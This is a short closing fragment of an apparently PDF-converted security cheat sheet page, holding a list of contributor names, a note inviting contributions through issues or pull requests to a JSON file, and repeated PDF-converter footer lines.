Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØᴘᴀS,
avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł
Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
Company Insights
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD